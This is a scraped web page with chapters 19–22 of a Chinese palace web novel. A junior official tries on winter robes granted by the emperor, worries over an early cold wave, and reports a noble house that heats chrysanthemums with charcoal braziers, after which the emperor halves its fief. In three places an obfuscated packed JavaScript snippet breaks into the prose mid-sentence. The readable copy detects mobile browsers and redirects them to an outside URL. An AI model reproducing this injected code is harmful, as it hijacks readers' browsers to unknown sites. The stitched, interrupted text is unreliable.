“林大人,您先试试这件缂丝棉袍?”李莲顺热情地把那件深青色厚袍子递过来,眼神充满了期待。 林砚硬着头皮,在小太监的服侍下,脱掉自己的薄夹棉常服,换上这件厚墩墩的缂丝棉袍,玄狐领子毛茸茸地拱着下巴,瞬间隔绝了寒气,暖意包裹全身。 “哎哟喂!瞧瞧!”李莲顺立刻拍手叫好,“多合身!多精神!这缂丝团云纹,衬得林大人气度雍容!这玄狐领子,更显贵气!” 林砚僵着脖子,他真的很想说,李莲顺你知不知道你像个销售? 萧彻坐在一旁新搬来的紫檀木圈椅上,手里不知何时端了盏热茶,慢悠悠地啜着,目光落在林砚身上,上下打量一番,没说话,只点了下头。 李莲顺得了信号,立刻又拿起那件云锦灰鼠皮鹤氅:“林大人,再试试这件鹤氅?外头风大,披上这个最是挡风!” 林砚只好又脱又穿。灰鼠皮的里子贴在身上,轻若无物,却暖意融融,云锦的料子光滑如水。 “妙啊!”李莲顺的赞美词库再次刷新,“这云锦的流光,衬得大人面如冠玉!灰鼠皮的轻盈,更显大人身姿飘逸!简直是谪仙下凡!” 林砚:“……” 接下来是鸦青色素缎直裰、藏青羊毛呢大氅……李莲顺的嘴皮子就没停过,从“稳重端方”夸到“清贵雅致”,从“英武不凡”夸到“暖意融融”,词汇量之丰富,语调之热情。 林砚越发觉得李莲顺应该去干销售,干太监实在是屈才。 林砚像个没有感情的换衣机器,在一件件厚实暖和的冬衣里穿梭,脱了穿,穿了脱,额角渐渐渗出细密的汗珠,不是热的,是累的,更是被这诡异的“御前时装秀”尬的。 他偷偷抬眼觑了下萧彻。 皇帝大佬依旧气定神闲地喝着茶,目光平静地落在他身上,像是在欣赏一件件会动的展品,眼神里似乎还带着点饶有兴致的意味。 林砚已经要累趴下了。 陛下您看得开心吗? 这“奇迹暖暖”玩得可还尽兴? 要不然您让阿蛮陪您玩换装小游戏? 缩在床上晃尾巴的阿蛮小小地打了个喷嚏。 19. 第 19 章 林砚瘫在椅子上,感觉自己的胳膊已经不是自己的了,像两根被反复拧过又甩干的海带,软绵绵地垂在身侧。 连灌下去两大碗温茶水,喉咙里那股冒烟的感觉才勉强被压下去。 萧彻终于收手了,对今天的“奇迹小林”换装秀似乎非常满意,嘴角噙着一丝笑意:“这些衣裳既赏了你,便是要穿的,不必舍不得。” 林砚有气无力地应了声“是”。 【穿!一定穿!从里到外一天换三套!争取早日把箱底穿破,才对得起陛下您这番折腾!】 萧彻笑意更深。 林砚喘匀了气,那股被华服和帝王恩赏暂时压下去的异样感又浮了上来。 他扭头望向窗外,天色灰蒙蒙的,庭院里的树叶被风吹得簌簌作响,那股子寒意隔着窗似乎都能透进来。 不对啊。 林砚皱起眉,下意识拢了拢身上那件簇新的、镶着丰厚貂毛领的锦袍。 这才刚进九月,就算秋凉,也不该是这种渗入骨头的冷法。 这冷得有点邪门,简直像是跳过了深秋,直接入了冬。 他忍不住转向萧彻,脸上带着真实的困惑:“陛下,臣恍惚记得,今日才九月初七?按理不该寒凉至此,莫非是今年气候有异?” 萧彻正端着一盏新沏的热茶,闻言,吹拂茶沫的动作几不可察地顿了一下。 他抬眸,看向林砚的眼神里掠过一丝极淡的欣赏。 嗯,脑子转得倒是快,比那些只会歌功颂德,或是埋头自家一亩三分田的官员强上太多。 心里想着林砚聪慧,面上却不动声色,依旧是那副深不可测的帝王相,只微微颔首,语气平淡:“林卿所言不错,今岁寒气,确比往年来得早,也来得更凛冽些。” 真是天气异常! 林砚的心猛地一沉。 刚才那点因为试衣产生的疲惫和吐槽瞬间被一股更大的焦虑取代。 这可是古代! 没有集中供暖,没有羽绒服,没有抗寒高产作物。 林砚几乎能想象到,那些田埂地头、茅草屋里,会是怎样一番光景。 “陛下。”林砚的声音不自觉地带上了一丝急迫,“秋收虽近尾声,然骤寒至此,恐伤禾稼根本,影响冬小麦播种发芽,且百姓御寒之物恐怕不及预备,尤其是贫苦之家,茅屋破败,衣不蔽体,炭薪价昂……此番寒潮,若应对不善,恐生冻馁之忧!” 他越说眉头皱得越紧,曾经背过的《卖炭翁》在他脑子里不断闪现。 萧彻看着林砚那副毫不作伪的忧心忡忡,眼神柔和了些许。 “你能虑及于此,甚好。”他的声音依旧平稳,却似乎比刚才多了一份沉凝,“此事,朕已知晓,并已着手应对。” 林砚眼中满是惊诧:“陛下已做了准备?” 他明明记得最近萧彻的主要精力都放在清洗礼部、查办武海闵和那劳什子邪.教遗毒上啊? 偶尔去御书房还能听到萧彻不带脏字地骂人,忙得跟个陀螺似的,什么时候腾出手来搞防灾准备了? 当皇帝的人都这么牛逼吗? 一天十二个时辰拆成二十四个时辰用? 一股难以言喻的敬佩之情,混合着震惊,油然而生。 萧彻将他脸上那毫不掩饰的震惊与崇拜尽收眼底,心下受用,语气却依旧淡然,仿佛只是处理了一件微不足道的小事:“北地边镇八百里加急呈报寒气南下时,朕便已下令户部协同各地官府,清查官仓储粮,以备不时之需,另,朕之内帑,也已拨出专款,采买御寒物资,分发京畿及受寒郡县贫户。” 林砚听得眼睛都直了。 内帑!皇帝的小金库!说掏就掏了? “炭薪柴草等物。”萧彻继续道,“已传谕各地平准署,严密监控市价,若有奸商敢趁天时囤积居奇、哄抬物价。” 他声音微冷:“立斩不赦。” 林砚下意识地摸了摸脖子,感觉后颈凉飕飕的。 陛下威武! “至于北戎……”萧彻眸光转深,掠过一丝冷冽的寒芒,“彼辈逐水草而居,最畏严寒白灾,今岁寒潮早临,其境内水草必然提前枯竭,牲畜大批冻毙饿死乃意料中事,为求活路,其南下劫掠之心恐怕比往年更盛,边关守将已得朕密旨,严加防范,烽燧斥候,不敢有片刻懈怠。” 这一连串的安排,从民生到经济再到军事,考虑得周全缜密,几乎是滴水不漏。 林砚彻底听呆了,嘴巴微微张着,半天合不拢。 他看看萧彻,又想想自己刚才那点粗浅的担忧,深觉是跟摆烂摸鱼的同事呆久了,所以都忘记了,他眼前的人可是皇帝。 林砚内心的崇拜之情如同滔滔江水,奔涌不息。 【陛下牛逼!】 【这反应速度!这执行力!这未雨绸缪的水平!】 【我跟陛下之间的差距,大概隔了一百个武海闵!】 林砚人生中第一次看领导顺眼就是萧彻,这领导大方,工作也井井有条,跟着这种领导肯定不会亏。 萧彻听着脑子里那毫不掩饰的赞美,饶是帝王,指腹也几不可察地摩挲了下温热的杯壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧彻挥了挥手,语气里带上了一丝不易察觉的温和:“行了,起来吧,早些回去,莫让你父母挂心。” 林砚此时也反应过来,他可以出宫了! 在皇宫住的这些日子,他吃得好喝得好穿得好住得好,还有御猫可以撸,还升了官,还有各种赏赐。 他这算不算是另外一种意义上的衣锦还乡? 陛下万岁! 20. 第 20 章 林砚软塌塌地粘在马车的绒垫上,眼皮沉得能吊起两桶水,脑袋随着马车颠簸一点一点,好几次差点直接栽进他爹怀里。 林承稷看着儿子这副尊容,眉头拧成了疙瘩。 官袍倒是崭新挺括,五品绯色衬得年轻人有了几分气度,可这魂儿……明显还留在周公那儿下棋呢。 “咳。”林承稷清了清嗓子,试图唤醒儿子那不知飘在何处的神魂,“今日是你第一次上早朝,非同往日,你如今是正经的五品郎中,万不可如往日般……松懈。” 林砚迷迷糊糊地“嗯”了一声,脑袋又往前重重一点,猛地惊醒,茫然地眨眨眼:“啊?爹,您刚说啥?” 林承稷额角青筋跳了跳,忍住了敲儿子爆栗的冲动。 他压低了声音,几乎是从牙缝里挤出来:“你给我打起精神!御前失仪不是玩的!陛下若是见你这般模样,之前那些恩赏……” 话没说完,但威胁的意味十足。 林砚一个激灵,努力把眼皮撑开一条缝,强行坐直了些:“爹,放心,儿子晓得了。” 不过萧彻哪有他爹说得那么吓人?只要不违逆萧彻的意愿,萧彻明明就是很好的大老板。 话虽如此,林砚还是努力瞪大眼睛,试图让自己看起来精神点。 马车碾过青石板路,轱辘声在寂静的清晨格外清晰。 终于,宫门到了。 车帘一掀,凛冽的寒气混着一种庄严肃穆的氛围扑面而来,林砚总算被激得清醒了大半。 他跟着父亲下车,混入那片沉默而有序的官员队列中。 绯色官袍在熹微的晨光和摇曳的灯笼光下很是显眼。 林承稷是正四品,穿着绯色官袍,林砚是从五品,也是绯色,只是颜色比他爹稍微浅一些,花纹也不同。 林砚努力回忆着前两天恶补的朝仪,低眉敛目,尽量让自己步伐沉稳。 太仪殿内灯火通明,檀香混合着一种冰冷的金属气息。 官员们按品级鱼贯而入,各自站定。 第一次上早朝,林砚没忍住,眼神还是到处瞟了瞟。 能看到御阶之上的景象,甚至能隐约感受到那股无形的威严。 “陛下驾到!” 李德福熟悉的声音响起,林砚也学着同僚们的样子,眼观鼻鼻观心,努力扮演一根合格的殿柱。 萧彻在御座坐下,冕旒轻晃,目光如常扫过下方。 一切似乎与往日并无不同,只是目光在林砚的身上停留得格外久了点儿。 或许众人也都猜到了今日皇帝要清算了,所以都格外谨慎,生怕招惹了皇帝的不快,连呼吸都是轻的。 李德福那特有的尖细嗓音响起,开始念名字。 一个个或熟悉或陌生的官员名字被点到,出列,领旨,谢恩。 流程枯燥得像在听和尚念经。 林砚听得昏昏欲睡,直到—— “原吏部尚书武鸿祯,教子无方,纵子行凶,结党营私,贪墨渎职……罪证确凿,着革去一切官职,抄没家产,与其子武海闵一并流放三千里,遇赦不赦!” 林砚一个激灵,瞬间清醒。 武家,完了。 林砚下意识地抬眼,飞快地扫了一眼御阶之上。 萧彻端坐在龙椅上,玄色朝服,十二旒冕冠垂下,遮住了大半面容,只能看到线条冷硬的下颌和紧抿的唇,周身散发着令人窒息的威压。 【流放三千里?武海闵那身板,够呛能走到地方吧?】 【不过……该!】 萧彻冕旒下的唇角翘起,他认为林砚想得甚是,武家父子可不就是该? 李德福的声音继续响起,宣布着新的人事任命。 果然,那位年轻的、能力不错的原吏部侍郎,被擢升为新的吏部尚书。 林砚记得萧彻提过这人,看来陛下是早有安排。 紧接着,他自己的名字也被点到。 “礼部祠部司郎中林砚,勤勉任事,克己奉公,于清查积弊有功,即日起实授礼部祠部司郎中,钦此。” 声音落下,几道意味不明的视线若有似无地扫过林砚。 林砚赶紧出列,垂首躬身:“微臣领旨,谢陛下隆恩,定当竭尽全力,不负圣望。” 【实授了……俸禄!我的俸禄!职田!我的职田!】 林砚努力压下想要上扬的嘴角,退回队列。 接下来,又是一连串的处理名单。 那些或多或少与武海闵、郑经或是度牒案有牵扯的官员,轻则贬官外放,重则削职为民,甚至有几个直接被扔进了刑部大牢候审。 林砚听得心惊肉跳,再一次深刻体会到皇权的冷酷和陛下手段的雷厉风行。 处理完人事变动,朝堂气氛更加凝滞。 萧彻终于开口,声音透过冕旒传来。 “今岁寒潮早临,凛冽异常,朕心甚忧。”他的目光缓缓扫过下方噤若寒蝉的群臣,“各州府需严密监控粮价、炭薪价,若有奸商趁天时囤积居奇、哄抬物价,一经查实,主犯立斩,家产充公,地方官吏监察不力者,同罪!” 所有人都把头埋得更低。 “户部统筹官仓,必要时开仓平粜,稳定民心,工部核查各地驿道、官舍防寒情形,尤其北地边镇,绝不容有失,若有冻死饿殍,朕唯尔等是问!” 命令一条接一条,清晰冷厉,砸得各部尚书额头冒汗,连声应“是”。 整个早朝,林砚都像个鹌鹑,努力缩小存在感。 直到李德福一声“退朝”,他才跟着人群,麻木地挪出大殿。 冷风一吹,他才彻底回过神。 这就……结束了? 林砚摸了摸怀里那块沉甸甸,代表五品郎中的新官凭,感觉像做了一场梦。 回到阔别许久的礼部祠部司公廨,林砚差点以为自己走错了门。 空气里弥漫着一股过分积极的气息。 往日里摸鱼宗师王俭,此刻腰板挺得笔直,眉头紧锁,对着手里的卷宗念念有词,仿佛那是什么绝世武功秘籍。 旁边几位同僚也是差不多的状态,个个正襟危坐,奋笔疾书,连喝口水都显得小心翼翼,生怕动作大了惊扰到什么。 整个公廨安静得只能听到纸张翻动和笔尖划过的沙沙声。 看到林砚进来,所有人瞬间起立,动作整齐划一,脸上带着一种混合了敬畏、讨好和恐惧的复杂表情,声音洪亮得能掀翻屋顶:“下官参见林大人!” 林砚被这阵仗唬得后退半步,差点踩到自己的新官袍下摆。 这些人是被陛下收拾出心理阴影了? 林砚干咳一声,摆摆手:“诸位同僚不必多礼,各忙各的吧。” 众人这才如蒙大赦般坐下,但那股紧绷的劲儿丝毫没放松。 林砚走到自己原来的位置,却发现那张堆满垃圾公文的破桌子不见了,取而代之的是一张崭新的、位置更靠里、还用屏风隔出来的独立办公区。 新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434150|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌子,新椅子,笔墨纸砚一应俱全,甚至还有个小小的书架。 王俭搓着手,脸上堆着十二分小心的笑容凑过来:“林大人,这是下官们昨日才收拾出来的,也不知合不合您心意?若有什么短缺,您尽管吩咐!” 林砚看着这单间,心情复杂。 没想到他也有被下属们小心翼翼伺候着的一天。 他点点头,语气平淡:“有劳王主事了,甚好。” 一整天,祠部司的氛围都透着一股诡异的祥和与勤奋。 递到林砚这里的公文,虽然依旧不乏狗屁不通之处,但至少格式工整了,错别字少了,那种明目张胆推诿扯皮、或是预算做得像抢劫户部的玩意儿,彻底绝迹。 连王俭交上来的一份关于某地小寺庙修缮的请示,都写得条理清晰,引经据典。 林砚甚至有点不习惯。 只能说萧彻的杀鸡儆猴杀得到位。 下班时辰一到,林砚立刻开溜。 新官上任,没人敢拿破事绊他脚。 踩着点走出礼部大门,感觉空气都自由了许多。 爽! 回到林府,刚进二门,一股霸道浓烈的肉香就飘了过来。 “砚儿回来了?”母亲文韫笑着迎出来,身上还系着围裙,“今日庄子上送了只肥羊来,你爹说天冷,正好炖锅羊肉暖暖身子。” 饭桌上,热腾腾的羊肉锅子咕嘟咕嘟冒着泡,奶白色的汤汁翻滚着硕大的羊肉块,旁边摆着几碟清爽小菜。 父亲林承稷已经坐下,正慢条斯理地盛汤。 一家三口围坐吃饭,暖意融融。 林砚饿坏了,埋头苦干,吃得满头大汗。 羊肉炖得酥烂,入口即化,带着淡淡的药香,一碗热汤下肚,冻僵的四肢百骸都舒展开来。 “娘亲的手艺真好,我能天天都吃娘亲做的饭。”林砚赞叹道。 文韫笑笑:“你呀。” 饭刚吃到一半,门房老张头拿着一张大红帖子进来了,恭敬地递给文韫:“夫人,长平伯府送来的帖子。” 文韫接过帖子,打开一看,脸上露出几分诧异和犹豫。 “长平伯府送来请帖,说是重阳那日府中设赏菊宴,请我们过府一聚。”她看向丈夫和儿子,眉头微蹙,“这往年可从没有过,夫君,砚儿,你们看……” 林承稷放下汤碗,擦了擦嘴:“长平伯府……如今虽不比往年,但终究是勋贵门第,突然下帖,怕是醉翁之意不在酒。” 文韫点头:“我也是这般想,怕是因着砚儿如今在陛下跟前得脸,那咱们,是去还是不去?” 林砚咽下嘴里那块软烂的羊肉,擦擦嘴,语气没什么波澜:“去,为什么不去?” “人家帖子都送到门口了,若是不去,倒显得我们拿乔,不知礼数。”林砚又给自己夹了一筷子羊肉,“长平伯府再不如前,捏死我们这种小门小户,还是跟玩儿似的,没必要平白得罪人,就去吃顿饭,赏赏花,他们有什么打算,我们见招拆招便是。” 林承稷沉吟片刻,点了点头:“砚儿说得在理,那就去吧。” 文韫见丈夫和儿子都这么说,便也定了心:“好,那我明日便回了帖子。” 事情定下,饭桌上的气氛又松弛下来。 羊肉锅子继续咕嘟着,香气弥漫。 林砚满足地叹了口气。 这世间最好吃的饭,一个是他娘亲做的,还有一个便是萧彻的御膳房了,他两者都全了。 21. 第 21 章 九月初九,重阳。 林砚对着屋里那口新打的樟木箱子发了半天呆。 箱子里是萧彻赏的那些绫罗绸缎,光鲜亮丽得能闪瞎人眼。 他手指头在一件鸦青色缂丝云纹圆领袍上溜达了半天,最后还是缩了回来。 算了。 衣服好看,但就是太好看了,以他的家世穿成这样去长平伯府,反而不好。 他最终扒拉出一件半新不旧的雨过天青色直裰,料子尚可,款式低调,是他娘用去年亲手做的,只在袖口和领边用了同色暗线绣了寥寥几茎墨竹,算是全了体面,又不至于扎眼。 挺好,符合他五品小官的人设。 父亲一早就拎着药材补品看望工部生病的老同僚去了,母亲也去了城外庄子料理秋收后的事务,都没法去。 得,孤军奋战。 林砚让老张头套了车,抱着他娘提前备好的一份不算出格也不算寒酸的礼,独自踏上了前往长平伯府的路。 长平伯府在城西,林家在城东,这一趟穿城而过,路程不近。 马车轱辘轱辘,林砚靠着车厢壁,脑子里胡思乱想。 上流社会的宴会啊……前世在电视里见过,觥筹交错,衣香鬓影,个个都是人精。 这辈子穿过来就掉进了礼部这个坑,天天跟甩锅精打交道,还没见识过真正的古代豪门趴体呢。 也不知道是个什么光景。 马车行了小半个时辰,终于慢了下来。 林砚掀开车帘一角,外面车马喧嚣,各色华丽的马车排着队,穿着体面的仆从们簇拥着自家主人下车,一派富贵气象。 长平伯府的门脸倒是挺气派,朱漆大门,石狮子威严,就是那门楣上的漆色似乎有些旧。 林砚下了车,整了整衣冠,抱着礼物上前,自报家门,递上请帖。 门房是个眼皮子耷拉的老头,接过帖子扫了一眼,又上下打量了林砚一番,那眼神谈不上恭敬,倒像是评估一件物品的价值,从鼻子里哼出个“嗯”字,随手招来个青衣小厮。 “带这位林大人去后花园。”语气平淡得像在打发一个走错门的。 林砚也不在意,跟着那小厮往里走。 这一路走,林砚算是开了眼。 都说长平伯府这几年没落了,子孙不成器,啃老祖宗的本儿,可这府里头……依旧是雕梁画栋,曲水流觞,抄手游廊一眼望不到头,处处透着“老子祖上阔过”的底蕴。 到了后花园,更是热闹。 各色菊花争奇斗艳,摆得满满当当,丹桂飘香,熏风阵阵。 然而林砚一踏进这园子,就感觉一股热浪扑面而来,不是人多热闹,是物理意义上的热。 林砚定睛一看,好家伙—— 每一盆开得正盛的菊花四周,竟然都整整齐齐摆着四个小小的银丝炭盆! 炭火烧得正旺,红彤彤的,把那些娇嫩的花瓣烘烤得更加“精神抖擞”。 林砚当场就懵了。 菊花啊大哥!这是秋天开的菊花! 菊花就是这个天气的花,它不需要保暖啊喂! 这操作过于超前,林砚那点现代科学常识和古代常识一起发出了尖锐的爆鸣。 他左右看了看,见旁边站着个穿着锦袍、摇着把折扇、一副“我很风流”模样的年轻公子哥,正对着几盆绿菊摇头晃脑,似乎很懂行的样子。 虽然感觉此人大冷天还摇扇子很神经,但是林砚凑过去,本着求知的精神,客气地拱手问道:“这位兄台,请教一下,这每盆菊花周遭放置炭盆,是何种讲究?在下孤陋寡闻,着实未曾见过。” 那公子哥闻声,慢悠悠地转过身,折扇“啪”一收,用扇骨将林砚从头到脚慢悠悠扫了一遍,眼神里的轻蔑几乎凝成实质。 “呵,”他从鼻腔里哼出一声笑,下巴抬得能戳破天,“这有什么好问的?自然是怕夜来霜寒,伤了这些娇客的容颜,点些炭火驱驱寒气,怎的?这点子碳火钱,我长平伯府还花销不起了?” 那口气,那姿态,明晃晃地在说林砚问了个多么上不得台面、多么穷酸的问题。 林砚被这话噎得一口气差点没上来。 炭火钱?这是炭火钱的问题吗? 这是基本常识问题好吗! 菊花它就不需要这个! 他感觉自己的怒气值“噌”一下就飙上来了,比在礼部写祥瑞考时还冒火。 但到底是在人家地盘上,林砚深吸一口气,把冲到嘴边的“你们是不是有病”硬生生咽了回去,扯出个假笑:“原来如此,是在下见识短浅了,兄台勿怪。” 那公子哥用鼻子哼了一声,都懒得再搭理林砚,转身又去欣赏他的“炭烤菊花”了。 林砚憋着一肚子火,默默退到一边冷眼旁观。 这所谓的上流圈子,他算是看明白了。 三三两两聚在一起,说的不是哪家的马球打得好,就是谁家又得了海外的新奇玩意儿,要么就是隐晦地比较着身上的玉佩香囊价值几何。 言谈间看似客气,实则字字句句都带着钩子,暗戳戳地比较家世、炫耀财富、贬低他人。 偶尔有人注意到他这个生面孔,过来搭两句话,一听他只是个五品礼部郎中,父亲也只是个工部的四品官,那热情立刻就像被冷水泼了的炭火,“呲啦”一下就熄灭了,客气而疏离地走开。 甚至还能听到几句压低的讥讽。 “礼部的?啧,清水衙门。” “不知走了什么运,竟得了陛下一两分青眼。” “昙花一现罢了,真当自己能挤进咱们这圈子了?” 林砚听得内心毫无波澜,甚至有点想笑。 这帮人,祖荫庇佑,躺在功劳簿上醉生梦死,挥霍着民脂民膏,居然还优越感爆棚? 萧彻才在朝堂上提了要防寒潮,好好过冬,无一不彰显着忧国忧民,这些人倒好,跟萧彻反着来。 也不知究竟脑袋里在想些什么。 这每一盆烧着的炭,在林砚眼里都像是烧着的民脂民膏。 尤其是看到长平伯世子被一群人簇拥着出现,那通身的派头,言谈间的奢靡,简直比龙椅上的萧彻还会摆谱。 林砚默默地记下了长平伯世子的穿着打扮。 长平伯世子朗声笑道:“如此良辰美景,菊色生香,岂可无诗?诸位都是风雅之人,不妨以菊为题,赋诗一首,助助兴?作得最好的,长平伯府奉上彩头一份,乃是前朝制墨名家陈廷元所制松烟古墨一笏!” 众人顿时捧场地叫好,摩拳擦掌,准备显摆才华。 林砚站在人群外围,看着这场大型装逼现场,内心毫无诗意,只有一片麻木。 轮到他的时候,他脑子里那些赞美菊花的词句早就已经被两个字取代—— 傻叉。 他提笔,蘸墨,几乎是凭着本能,在那上好的洒金笺上写下了一首诗。 诗成,他放下笔,也懒得看周围人的反应,更不想知道那劳什子古墨最终花落谁家,只对着世子方向 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直接告状说长平伯府烧炭盆烤菊花?会不会太小题大做? 说那群世家子看不起我?这也不合适。 就在他胡思乱想之际,引路的内侍停下脚步,低声道:“林大人,陛下在太液池边的临水轩。” 林砚整理了一下衣冠,深吸一口气,迈步走了进去。 轩内灯火通明,萧彻正临窗而立,看着外面沉沉的太液池水,身上只披了件玄色常服,听到脚步声,他回过头来。 “微臣叩见陛下。”林砚赶紧行礼。 萧彻见林砚没有穿他赏赐的新衣,而是穿着一身半旧不新的衣裳,略微蹙眉。 “平身。”萧彻的声音听不出喜怒,“这个时辰进宫,有何要事?” 林砚站起身,抬眼飞快地觑了一下萧彻的脸色,看着还算平静。 他心一横,决定实话实说,就是语气得修饰一下。 “回陛下,臣今日奉帖前往长平伯府赏菊宴。”林砚尽量让自己的声音听起来只是陈述,而不是告状,“宴席奢华,远超想象,尤其……臣见其园中每一盆菊花四周,皆以银丝炭盆烘烤,美其名曰驱寒护花。” 他说到这里,顿了顿,小心地观察萧彻的反应。 萧彻眉梢微不可察地动了一下,没说话,示意他继续。 “臣见识浅薄,心下骇然,询问其故,反遭讥讽,言其府上不差这点炭火银钱。”林砚说到这儿,语气里难免带上了点愤懑,“臣离席时,世子邀众人赋诗,臣……臣一时感触,写了一首《卖炭翁》……” 萧彻终于有了点反应,他转过身,目光落在林砚身上:“《卖炭翁》?念来朕听听。” 林砚只好硬着头皮把白大诗人的《卖炭翁》背了出来。 卖炭翁,伐薪烧炭南山中。 满面尘灰烟火色,两鬓苍苍十指黑。 卖炭得钱何所营?身上衣裳口中食。 可怜身上衣正单,心忧炭贱愿天寒。 夜来城外一尺雪,晓驾炭车辗冰辙。 牛困人饥日已高,市南门外泥中歇。 翩翩两骑来是谁?黄衣使者白衫儿。 手把文书口称敕,回车叱牛牵向北。 一车炭,千余斤,宫使驱将惜不得。 半匹红纱一丈绫,系向牛头充炭直。 22. 第 22 章 背完后,轩内一片寂静。 林砚心里七上八下,完了完了,老板是不是觉得影射得太直白? 忽然,他听见一声极轻极低的哼笑。 像是从鼻子里发出来的,带着点说不清道不明的意味。 林砚偷偷抬眼,只见萧彻已经转回身,依旧看着窗外,只是那背影,似乎比刚才更放松了些。 “长平伯府……”萧彻的声音缓缓响起,听不出什么情绪,“倒是会享福。” 他顿了顿,又道:“你那诗,写得不错。” 林砚:“???” 就这? 没了? 这句“写得不错”是几个意思?是夸他文采好还是骂他惹事精? 林砚正懵着,又听萧彻淡淡道:“既然来了,便陪朕用顿便饭吧。” 说完,萧彻便率先向外走去。 林砚赶紧跟上。 【不是,陛下,我是来找您做靠山求庇护的,不是来蹭饭的啊!】 【您到底听没听懂我的言外之意啊?】 【那群败家子可是在烧钱玩啊!】 【您管不管啊?】 林砚很急,急成了急急国王。 然而萧彻已经走远了,林砚只能把一肚子话憋回去,苦着脸跟了上去。 老板的心思,果然比礼部的公文还难懂。 林砚跟着引路内侍踏入花厅时,脑子里还嗡嗡回荡着长平伯府那银丝炭盆炙烤菊花的奢靡画面,混合着世家子弟们腰间玉佩相撞的清脆声响和故作矜持的笑语。 花厅内暖意融融,晚膳的香气已经幽幽飘散开来。 萧彻坐在主位,玄色常服衬得他面容在灯下愈发清俊,只是眉宇间凝着一丝若有似无的倦色,仿佛刚处理完什么棘手政务。 “微臣叩见陛下。”林砚收敛心神,规规矩矩行礼。 “嗯,坐吧。”萧彻的声音听不出什么情绪,目光在他那身半旧的雨过天青色直裰上停留了一瞬,“宫中虽不比外头寒冷,你穿得也未免太单薄了些。” 林砚谢恩,挨着绣墩边缘坐下:“谢陛下关怀,臣不冷。” 他娘亲做的衣服肯定是暖和的,只是不华丽而已。 【冷是不冷,就是心凉。】 【长平伯府那炭火烧得,跟不要钱似的,他们一顿饭的炭火钱,够京郊一户百姓烧一冬天了吧?】 【还有那些菊花,好好开着不行吗?非得上炭盆烘着,简直是有钱烧得慌……】 林砚脑子里不受控制地开始跑马灯,长平伯世子腰间那块水头极好的翡翠,某位公子夸耀的海外犀角杯,席面上那道用十几只鸡鸭吊汤、只取一小盅的什么玲珑玉髓羹……每一帧画面都透着朱门酒肉的奢靡。 萧彻执起玉箸,正要夹菜,动作几不可察地顿了一下。 他抬眼,看向下方正努力跟一碗晶莹米饭较劲的林砚。 这人,去趟长平伯府,回来就变得这么能想? 【还有那些世家子,一个个攀比成风,这个公子说新得了一匹大宛宝马,通体雪白,价值千金,那个公子就炫耀他爹刚给他请了位致仕的翰林教习文章……这哪是赏菊宴,分明是炫富攀比大赛现场。】 【陛下您知不知道,他们一顿饭的排场,比您这御膳看着都铺张!】 林砚努力扒饭,试图用食物堵住自己内心汹涌的吐槽。 萧彻夹起一块清蒸鲥鱼最肥美的肚腩,肉质雪白,汤汁清亮。 他状似无意地开口:“长平伯府今日倒是热闹,菊花可还入眼?” 林砚差点被饭粒呛住,赶紧咽下去,垂首恭敬回答:“回陛下,长平伯府菊花开得极盛,品类繁多,臣大开眼界。” 【盛!太盛了!盛得每朵花底下都配了四个银丝炭盆供着呢!跟伺候祖宗似的!】 【他们家到底收了几成租?咋能这么有钱?拿上好的银丝炭去烤菊花!】 【那些世家子弟,言谈间对陛下您今早关于寒潮的谕示浑不在意,只怕根本没往心里去!】 越想林砚越是愤愤。 萧彻将鱼肉送入口中,细腻鲜甜的滋味在舌尖化开,他却慢慢咀嚼着,目光落在虚空处,仿佛在品味鱼肉,又像是在品味别的什么。 呵,长平伯府。 银丝炭盆烤菊花? 他前脚才严令各地监控炭薪物价,严防囤积居奇,后脚他倚重的勋贵就在自家后院搞这套。 好,真是好得很。 还有那些世家子……看来是他近来手段还是过于温和,让这些人忘了何为雷霆雨露俱是君恩。 这顿饭,林砚吃得有些食不知味,满脑子都是炭火和菊花。 萧彻倒是用得比平日慢些,时不时问林砚几句无关紧要的话,听得林砚内心疯狂刷屏,将长平伯府的奢靡和世家子的浮夸吐槽了个遍。 待到撤下膳桌,宫人奉上清茶漱口。 萧彻净了手,用雪白的丝帕慢条斯理地擦着指尖,忽然道:“林卿,过来伺候笔墨。” 林砚一愣,连忙放下茶盏:“是。” 这活儿他熟,之前住在宫里时也做过几次。 他跟着萧彻来到御案旁,熟门熟路地开始磨墨,动作流畅,力度均匀,一看就是老手。 萧彻铺开一张明黄色的绢帛,那质地林砚认得,是专门用来书写圣旨的。 林砚心里嘀咕起来。 【这架势是要写圣旨?大晚上的写什么圣旨?给谁的?】 萧彻执起御笔,蘸饱了墨汁,笔尖悬在绢帛上方,似乎沉吟着要落笔。 他眼角的余光瞥见林砚那双眼睛里几乎要溢出来的好奇,像个试图偷看大人秘密的小孩,想看又不敢明目张胆地看,那副抓心挠肝的模样,着实有趣。 萧彻心下觉得好笑,面上却不显,只淡淡开口,语气随意得像在说今天天气不错:“想看便看,又不是什么机密。” 林砚小声嘀咕着“这不好吧”,人倒是立刻往前凑了小半步,脑袋探过去,眼睛瞪得溜圆。 只见那沉稳有力的御笔落下,一个个熟悉的字迹呈现出来。 “……长平伯府,世受国恩,理当克勤克俭,以为勋戚表率,然竟奢靡成风,不恤民力,甚失朕望……着即削减食邑七百户为三百五十户,永业田两千五百亩为一千亩,钦此。” 林砚看着那墨迹淋漓的字句,眼睛越瞪越大,呼吸都屏住了。 削了一半?! 食邑和永业田都直接砍半?! 萧彻写完最后一个字,将御笔搁回笔山:“李德福。” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 